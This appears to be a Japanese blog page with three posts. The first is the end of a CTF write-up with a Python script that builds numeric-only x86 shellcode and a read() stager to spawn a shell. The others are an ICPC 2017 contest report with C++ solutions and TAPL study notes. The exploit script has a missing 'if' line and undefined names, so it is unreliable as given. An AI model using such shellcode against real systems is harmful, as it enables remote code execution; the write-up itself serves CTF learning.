xor_eax_esi = '\x31\x30'

def hex2s(x):
	s = ''
	for i in xrange(4):
		s += chr(x % 256)
		x /= 256
	return s

def xor_eax(x):
	return '\x35' + hex2s(x)

#npが現在のeaxの値。
#vsにシェルコードを連結していく

np = 0x0
vs = ''

#現在のeaxの値をpに変更する
def toeax(p):
	global np,vs
	v1,v2 = 0,0
	for i in xrange(4):
		d = ((p ^ np) >> (i*8)) & 0xf
			c1,c2 = d,0
		else:
			c1,c2 = d-8,8
		v1 |= (c1 | 0x30) << (i*8)
		v2 |= (c2 | 0x30) << (i*8)
	tp = np ^ v1 ^ v2
	if tp != p:
		assert ('%x -> %x cannot do it' % (np,p))
	np = tp
	vs += xor_eax(v1)
	vs += xor_eax(v2)

toeax(0x800)
vs += xor_esi_eax #esiに0x30303030

#0x200~0x20f ... 0x500~0x50f の命令列をaddに変更する。
for i in xrange(4):
	tk = 0x100 * (i+2)
	for d in [0,1]:
		toeax(tk+d)
		vs += xor_eax_esi

#簡便のため、いったんシェルコード部分の上位を0x00にする
for p in [0x600,0x604,0x700,0x704,0x708]:
	toeax(p)
	vs += xor_eax_esi

#シェルコードの4ビット目を整形する
# 0x804 に0x8を準備しておいて、そこから値をとってくる

toeax(0x804)
vs += xor_esi_eax #esiに0x8
for p,c in dat:
	if c & 0x8:
		print 'xor',hex(p),0x8
		toeax(p)
		vs += xor_eax_esi

#ここまで、下4bitは整形

#esiの値を、0x8 -> 0x10 -> 0x20 -> 0x40 -> 0x80 にする
#0x900からを贅沢に使ってええやろ

for i in xrange(4):
	toeax(0x900+i)
	vs += xor_eax_esi
	vs += xor_esi_eax
	vs += xor_eax_esi
	toeax(0x800)
	vs += xor_esi_eax
	toeax(0x900+i)
	vs += xor_esi_eax
	
	#ここで、 add esi,[eax] したい
	ap = 0x100 * (i+2)
	if len(vs)>ap:
		raise ('too long %x at %d' % (len(vs),i))
	
	# この直後が addの場所になるように、実質nopな命令を入れる
	if len(vs)%2 != ap % 2:
		vs += '\x39\x34\x40' # 39 34 90             	cmp    DWORD PTR [eax+edx*4],esi
	vs += '\x38\x38' * ((ap-len(vs))/2) # cmp    BYTE PTR [eax],bh
	
	# ここが 前の命令によって最終的にaddになる
	vs += '\x33\x30' + '\x38\x38' + '\x38\x30' 
	# add esi,[eax] ; 0x03 0x30
	# nop
	# or     BYTE PTR [eax],dh ; 0x8 0x30
	
	toeax(0x800)
	vs += xor_esi_eax
	toeax(0x900+i)
	vs += xor_eax_esi
	toeax(0x800)
	vs += xor_esi_eax
	
	#これで、esiの値が前回の2倍になってるはず。	
	for p,c in dat:
		if c & (0x10 << i):
			toeax(p)
			vs += xor_eax_esi
	print hex(len(vs))

#これでできたはず。

#シェルコードを 0x600~0x608,0x700~0x707に埋める
vs += '\x30' * (0x600-len(vs))

for _,c in dat[:8]:
	vs += chr(0x30 + (c & 0x7))

vs += '\x30' * (0x700-len(vs))

for _,c in dat[8:]:
	vs += chr(0x30 + (c & 0x7))


vs += '\x30' * (0x800-len(vs))

#0x8を採るために、0x804をこうしておく。

vs += '00008000'

vs += '\x30' * (0x1000-len(vs))

#stagerに注入されるシェルコード
with open('x86-execve','rb') as fp:
	pay = fp.read()

# numonlyシェルコード + nopスレッド + execveシェルコード
with open('attack','wb') as fp:
	fp.write(vs) # + '\x90' * (0x100-18) + pay)

をpythonで実行してできたattackの中身を送ると、実際にシェルを立ち上げることができるはずです。

補足

nasmとかの使いかた

上で書いたアセンブラコードは、全てnasm(http://www.nasm.us/)でアセンブルできるものです。以下、32bitのもののコンパイル方法の説明ですが、64bitの場合は32を適宜64に入れ替えてください。

アセンブラの書いたファイルを hoge.s とします。 nasm hoge.s とすると、hoge という「命令列をそのままバイナリにしたファイル」ができあがるので、 xxd などでバイト列がどうなっているかを確認できたり、そのままサーバに流し込んだりできます。 nasm hoge.s -f elf32 とすると hoge.o というオブジェクトファイルができるので、これを gcc -m32 hoge.o -nostdlib などとしてコンパイルすることにより、実行可能ファイルができ、実際の挙動を確認することができます。

hoge.s の中身ですが、たとえば

BITS 32
section .text
global _start

_start:
	実行したい命令列

とすると、命令列のテストをすることができます。

stagerについて

「同じフォルダ内にあるflag.txtの中身を読む」についてですが、これを行う手段はおおまかに2つあって、「execveを用いて新たににshellを立ち上げる」と「openやreadを用いる」です。 これらをそのままやってしまってもいいですが、それだとエンコードするべきシェルコードの長さが長くなってしまうので、 代わりにshellcodeの長さが短くて済むstagerというものがあり、今回はそれを用いています。

stagerの中身は、

read(0,今のeip(rip)が指している場所あたり,大きな数);

を実行するシェルコードです。これによって、入力制限を迂回して真のシェルコードを送り込むことができます。これを実行すると、実行しようとしている命令近辺に自分の入力をcheckなしで流し込むことができます。

eip(rip)を得る方法

今回など、eax(rax)などの一般レジスタにeip(rip)の値が入っていることもありますが、そうでない場合、自分でeaxを得る必要があります。eip,ripは、ほかのレジスタと違って、movなどによってレジスタの値を動かすことができません。この場合、call命令を使って直後に飛んで一旦スタックにeipを積んだ後、それをpopで適当なレジスタに得ればよいです。


明日の記事は(null)さんの(null)です。楽しみですね。

追記

くろごまさんの kurogoma.hatenablog.com になりました。めでたい。

*1:seg.SSはプレフィクスというやつで、つけるとメモリアクセスがssセグメントからになるもの。 aaaはadd命令の後にやるとBCD調節してくれるやつだが、add以外の後では意味がない。

*2:modr/mについては http://www.wdic.org/w/SCI/ModR/M を見たりいろいろ調べたりすると良い。手でいろいろ試してみて調節してもよいが理解しておいたほうが逆アセンブルガチャを引かなくてすむのでよい

*3:命令列のみのバイナリが得られた場合、 objdump -D -M intel -b binary -mi386 などをすると、バイナリをそのままディスアセンブルしてくれて便利です。

*4:こういうのは地道に逆アセンブラ結果を読むより、straceで実行した結果を参照したほうが簡単に分かります

ICPC2017国内予選参加記

チーム

IS17erのえる氏となたがわ氏と一緒にチームTBDとして出ました。
(わりと急増チームで、チーム名は to be determined の略)
(1年の時はチームtekitoで出てそれなりにいい順位だったので、
チーム名は雑に決めた方がいい成績がとれるというジンクスがありそう？)

結果

7完6位でしたが、学内順位が5位(!?)だったのでなんというかアレ(どうなるんでしょうね)

当日の概要

2限があったので本郷でプラクティスに参加。
2時過ぎに2食に食べにいっていたら、なんやかんやで駒場に着いたのは4時前くらいになってしまった。
Wifiに接続や印刷準備などがぎりぎりになってしまう。

正確な時刻については思い出せないのでスコアボードを参考に。

競技開始

なたがわ氏に印刷しに行ってもらいつつ、える氏と問題について考察したりする。
(というかこの時点でAに走っておくべきだったのだが、「FAとか取れないよね～」とか話していて手をつけていなかったので作戦ミスっぽかった)

A,B,Cはやるだけぽい。Dは簡単そうだが思いつかず。
(こーいう問題は気づくと一瞬なのだろうが思いつくのがつらそうで、僕は思いつきそうにもないのでほっとくことにした)
Eは構文解析。F,Gは不明、Hはどうやら幾何らしそう。
しばらく後にえる氏がAを解き始める。

0:12 Aが通る

同じくBをやってもらう。その間になたがわ氏が帰ってくる。
Fをやりたそうにしていたが、Dが分かんないので聞いてみると、√500≈20なのでmとnの小さい方でべきを回せばいいとのこと。いい話。
なんだかえる氏のBが辛そうな感じになっていたので、Bを印刷してデバッグしてもらうことにして、先にCをじゃっじゃかやっていく。

#include<bits/stdc++.h>

using namespace std;

#define rep(i,n) for(int i=0;i<(n);i++)

#define reg(i,a,b) for(int i=(a);i<=(b);i++)

int h,w;
int d[15][15];
int main(){
	for(;;){
		scanf("%d%d",&h,&w);
		if(h==0)break;
		rep(y,h){
			rep(x,w)scanf("%d",&d[y][x]);
		}
		
		int ans = 0;
		rep(u,h){
			reg(s,u+2,h-1){
				rep(l,w){
					reg(r,l+2,w-1){
						
						int mw=100;
						int yn=0;
						int mab=0;
						reg(y,u,s){
							reg(x,l,r){
								int p = d[y][x];
								if(y==u || y==s || x==l || x==r){
									mw = min(mw,p);
								}
								else{
									mab = max(mab,p);
									yn += p;
								}
							}
						}
						
						//printf("%d %d %d %d : %d %d %d\n",u,s,l,r,mw,yn,mab);
						if(mab>=mw)continue;
						ans = max(ans,(s-u-1)*(r-l-1)*mw-yn);
					}
				}
			}
		}
		
		printf("%d\n",ans);
	}
	return 0;
}
0:41 Cが通る。

Bのバグがとれたそうな。めでたい。

0:47 Bが通る。

Dをエイヤと書く。

#include<bits/stdc++.h>

using namespace std;

#define rep(i,n) for(int i=0;i<(n);i++)

#define reg(i,a,b) for(int i=(a);i<=(b);i++)


int h,w;

char s[505][505];

int bd[505];


int dp[2][1<<23];

int nb[505];
int main(){
	for(;;){
		scanf("%d%d",&h,&w);
		if(h==0)break;
		rep(y,h){
			scanf("%s",s[y]);
			int nb=0,t=1;
			rep(x,w){
				if(s[y][x]=='1')nb+=t;
				t*=2;
			}
			bd[y]=nb;
		}
		if(h>w){
			memset(dp,-1,sizeof(dp));
			dp[0][0]=0;
			int p = 0;
			rep(y,h){
				int b = bd[y];
				rep(i,1<<w){
					dp[1-p][i]=dp[p][i];
					int f = dp[p][i^b];
					if(f<0)continue;
					dp[1-p][i]=max(dp[1-p][i],f+1);
				}
				p = 1-p;
			}
			
			printf("%d\n",dp[p][0]);
		}
		else{
			int ans=0;
			rep(i,1<<h){
				memset(bd,0,sizeof(bd));
				int ns=0;
				rep(y,h){
					if(i&(1<<y)){
						ns++;
						rep(x,w){
							bd[x] ^= ((s[y][x]=='1')?1:0);
						}
					}
				}
				
				int ok=0;
				rep(x,w){
					ok+=bd[x];
				}
				if(!ok){
					ans=max(ans,ns);
				}
			}
			printf("%d\n",ans);
						
		}
	}
	return 0;
}

途中、dp配列を[505][1<<26] くらいで取ろうとすると.bssに収まらないと怒られたりした。

1:06 Dが通る。

書いている間になたがわ氏がFの考察をめっちゃ進めている。
どうやら各ビットについて独立にみればよいそうな。
なたがわ氏にFを書いてもらっているうちに、GとEについて考える。

える氏と考えてみるが、Gはどうやら貪欲に右手法をやればよさそうという結論に落ち着く。
(G問題にしてはやるだけでは??と思うが２人ともいけそうと思っているので、嘘解法ではないっぽそう)
マスを通る際に進んだ向きを保存しておけば自動的に経路復元できるっぽいと思いついて実装のめどが立つ。

Eは、構文解析は気合だが、最小論理式の生成がすぐには思いつかない。
なんか小さい方から生成してくんだろうけど計算量が見当もつかず。

なたがわ氏がFを書いたが、なんかバグってるっぽいので印刷してもらって、そのうちにGをやっていく。
適宜なたがわ氏のFと交代しつつGをセイヤとやる。

#include<bits/stdc++.h>

using namespace std;

#define rep(i,n) for(int i=0;i<(n);i++)

#define reg(i,a,b) for(int i=(a);i<=(b);i++)


int h,w;


char dat[55][55];
 

int dy[4]={0,1,0,-1};
int dx[4]={-1,0,1,0};


int dir[55][55];


int gone[55][55];

int main(){
	for(;;){
		scanf("%d%d",&h,&w);
		if(h==0)break;
		rep(y,h){
			scanf("%s",dat[y]);
		}
		
		memset(dir,-1,sizeof(dir));
		int y=0,x=0,d=1;
		for(;;){
			int ok=0;
			reg(i,-1,2){
				int td = (d+i+4)%4;
				int ty=y+dy[td];
				int tx = x + dx[td];
				if(ty<0 || ty>=h || tx<0 || tx>=w)continue;
				if(dat[ty][tx]=='#')continue;
				dir[y][x]=td;
				x = tx; y=ty; d=td;
				ok=1;
				break;
			}
			if((!ok) || (x==0 && y==0))break;
			
		}
		/*
		rep(y,h){
			rep(x,w){
				printf("%2d%c",dir[y][x],x+1==w?'\n':' ');
			}
		}*/
		memset(gone,0,sizeof(gone));
		
		bool ans = true;
		y=x=0;
		d=dir[0][0];
		for(;;){
			gone[y][x]=1;
			//printf("%d %d %d\n",y,x,d);
			if(d<0){
				ans=false;
				break;
			}
			int ty=y+dy[d];
			int tx = x+dx[d];
			if(ty==0 && tx==0)break;
			if(gone[ty][tx]){
				ans=false;
				break;
			}
			x = tx; y = ty;
			d = dir[ty][tx];
		}
		//printf("%d\n",ans);
		rep(y,2)rep(x,2){
			if(!gone[y*(h-1)][x*(w-1)])ans=false;
		}
		
		puts(ans?"YES":"NO");
	}
	return 0;
}
1:44 Gが通る

なたがわ氏がバグを直したぽい。めでたい。

1:52 Fが通る。

Eの方針が固まる。
論理式の値のとりかたは2^16パターンなので、
各パターンに対して必要な項の長さを小さい方から求めておけばいいぽい。
で、各項をパターンに落とし込んだ後、パターンに対応する長さを返せばよさそう。気合で書く。
(このへん、なたがわ氏もえる氏も幾何は苦手で、Eのコーディングでも見てるか～
といった感じだったのだが、結果的にはHの考察を進めておいた方がよかったですね...)

書いてる途中、xorやandの遷移で2^16かかりそうに思ってぞっとしたが、
まあ枝刈りされるし大丈夫やろと思って書くと存外しゅっと動く。
サンプルが合っているので出す。が、WAる。
テストケースを見てみると、明らかに元の式より長いのが出力されている。
(一見テストケースが強そうに見えたので確認しなかったのだが、 ここで確認しておけば1200変わっていたのかと思うと非常に悔やまれる)

ダイクストラで、突っ込む前に距離を更新してるのに、取り出すときに距離チェックをしすぎるやつをやっていたので修正。

#include<bits/stdc++.h>

using namespace std;

#define rep(i,n) for(int i=0;i<(n);i++)

#define reg(i,a,b) for(int i=(a);i<=(b);i++)

typedef string::iterator sta;


int dat[6][2]={
	{'0',0},
	{'1',(1<<16)-1},
	{'a',-1},
	{'b',-1},
	{'c',-1},
	{'d',-1}};
	

int expr(sta& s){
	//printf("%c ",*s);
	rep(i,6){
		if(*s==dat[i][0]){
			s++;
			return dat[i][1];
		}
	}
	
	if(*s=='-'){
		s++;
		return ((1<<16)-1)^expr(s);
	}
	else{
		s++;
		int a = expr(s);
		char c = *s;
		s++;
		int b = expr(s);
		s++;
		
		if(c=='^')return a ^ b;
		else return a & b;
	}
}

int dp[1<<16]={};


typedef pair<int,int> mp;

int main(){
	rep(i,4){
		int b = 1,nb=0;
		rep(j,1<<4){
			if((1<<i)&j){
				nb += b;
			}
			b*=2;
		}
		dat[i+2][1]=nb;
	}
	
	 int dpn=0;
	 
	 priority_queue<mp,vector<mp>,greater<mp> > que;
	 
	 rep(i,6){
	 	que.push(mp(1,dat[i][1]));
	 }
	 
	 while(!que.empty()){
	 	mp pa = que.top();
	 	que.pop();
	 	int ls = pa.first;
	 	if(ls>17)break;
	 	int t = pa.second;
	 	if(dp[t]>0 && dp[t]<ls)continue;
	 	dp[t]=ls;
	 	//printf("%d %d\n",t,ls);
	 	//dpn++;
	 	//if(dpn>(1<<16))break;
	 	
	 	int t1 = ((1<<16)-1)^t;
	 	if(dp[t1]>0 && dp[t1]<=ls+1){
	 	}
	 	else{
	 		dp[t1]=ls+1;
	 		que.push(mp(ls+1,t1));
	 	}
	 	rep(i,1<<16){
	 		if(dp[i]==0)continue;
	 		//printf("ni %d ",i);
	 		int tls = ls + dp[i] + 3;
	 		int ts[2];
	 		ts[0]=t^i;
	 		ts[1]=t&i;
	 		rep(j,2){
	 			int& f = dp[ts[j]];
	 			if(f==0 || f>tls){
	 				f=tls;
	 				que.push(mp(tls,ts[j]));
	 			}
	 		}
	 	}
	}
	
	//puts("init");
	
	for(;;){
		string s;
		cin >> s;
		if(s[0]=='.')break;
		sta sa = s.begin();
		int x = expr(sa);
		//printf("%d\n",x);
		printf("%d\n",dp[x]);
	}
	
	return 0;

}
2:20 Eが通る

このへんで、7完したのでどうにかやったやろという気持ちが強くなっていたが、どうやらそうでもないっぽいのでHをやっていく。
(というか当初は幾何までもつれ込むとは思っていなかった)

Hの方針は全部試せばいいらしくて、平行や線分交差とかをできればよいとのこと。
しかし、へたにライブラリを半写しの状態で書こうとしたり、ほかにも途中に微妙に嘘解法であることが分かったりして、結局書ききれなかった。

コンテスト終了

後半ずっとコーディングをしていたので、戦況がどういう状況かが分かっていなかったのだが、順位表を見ると全体6位にもかかわらず東大内5位とのこと。
(聞くところによると、終了4分前(!!)くらいにshurikenがGを通したらしく抜かれたぽい。 あと、catsatmatとは42秒差(!!)だったらしく)

他のチームのHを見せてもらったのだが、ライブラリ部分がとても短かったので、もっと幾何ライブラリを写しやすさに特化させるべきという気持ちになる。
(自分のものは、コピペで使えるなら便利なのだがとても冗長だった)




急造チームにもかかわらずわりとメンバーの能力がマッチしていて望外の順位を取ることができた。
が、なんというかさまざまな面で作戦ミスがあったのでやはりICPCは難しいですね。

アジア地区予選に出てみたいな～

TAPLを読む会(8~12章)

8章 型付け関係

NBに対して型をつけてみる。

  • 型付け関係の逆転(逆転補題)(生成補題) 項を型付けるためのアルゴリズムを与える。(部分型とかが入ってくるとこれが大変になる…かな？)

  • 進行性 項が正しく型付けられているなら、正規形->値(標準形)が成り立つ。

  • 保存性 項が正しく型付けられているなら、項の評価は項の型を変えない。

これらの性質は後々でも保たれるように頑張る。

8.3.4～8.3.8のあたりの答えは考えておいたほうが理解の足しになりそう。

9章 単純型つきラムダ計算

ラムダ計算にとりあえず型をつけてみる。

9.1 関数型

関数に型をつける際に一番適切そうな型の定義は T ::= T -> T である、という話。

9.2 型付け関係

型推論をさせるには型再構築とかそのへんをする必要があるので、22章を待つ必要がある。 とりあえずはλ抽象時に型を付けることにする。(C言語とかはそうですね) 例えば、λx:Bool,λy:Nat,(if x then y else (succ y)) において、 (if x then y else (succ y))の型をつけるには、x,yの型を知っている必要があって、 そのために「型環境」という概念が出てくる。 で、T-VAR,T-ABS,T-APPが導入される。(項tの帰納的定義に対応している)

9.3 型付け関係

8.3と同じ手順ですね。

9.4 Curry-Howard対応

9.4.1が分かんねぇ…(predとsuccについて)

9.5 型消去と型付け可能性

9.5.2.(2)はわりと非自明に思える。

10章 単純型のML実装

やってねぇ…

11章 単純な拡張

Unit -> let -> pair,record -> sum,variant -> fix -> List の順番で導入する。 プログラミング言語を実装している感じ。

11.1 基本型

簡便のため基本型Aを導入する。まああんま使わない。 ちゃんとした恒等関数とか二回適用関数を作るには、「自由な型を代入できる」23章の全称型を待つ必要がありますね。

11.2 Unit型

11.3 派生形式 : 逐次実行とワイルドカード

派生形式の例として逐次実行を導入する。 糖衣構文(もしくはマクロ)かそうでないかという話。

11.4 型指定

部分型付けをする際にちらっと出てくる(p151とか)のでその伏線ですね。

11.5 let束縛

T-LETを使って導出する際は、T_1をエスパー(まあ分かるのだけれど)して導かないといけない。 第22章のlet多相では、これを利用して多相型を表現したりする。(というかこの時点で多相型を表現できていそう)

11.6 二つ組

11.7 組

11.8 レコード

『組を作る操作』と『射影を作る操作』を付け加える。 二つ組は添え字が1と2, 組は1～n, レコードは更に自由になる。

11.9 和

11.10 レコード

『和に埋め込む操作』と『タグと値を取り出す操作』を付け加える。 case文で値を取り出す際にはどのケースも同じ型を返す必要があるのは if文とかと同じ感じですね。

で、これの型チェックをうまくさせるために、 1. 型推論(型再構築)(22章まで) 2. 部分型関係(15章) 3. 型注釈(asによる) という手がある。 とりあえずは3でやっている。 (T-INLとT-INRは部分型関係を予感させる書き方ですね…)

レコードを使うことにより、 ・オプション(Haskellのmaybeっぽいもの) ・列挙型(C言語のenum) ・単一フィールドのバリアント(typedefですかね)

11.11 一般的再帰

fixは派生形式として導入できない!! また、値を持たない、発散する項が作れる。 (停止性を犠牲にして計算能力を獲得する) letrec(再帰的定義)はfixを用いることによりから派生形式として得られる。

11.12 リスト

fixが入ったのでリストも派生形式として定義できる…気はするけれども、 今回は新しく導入されている。(23章を待て)

12章 正規化

単純型付きλ計算のすべての項は正規化可能である!!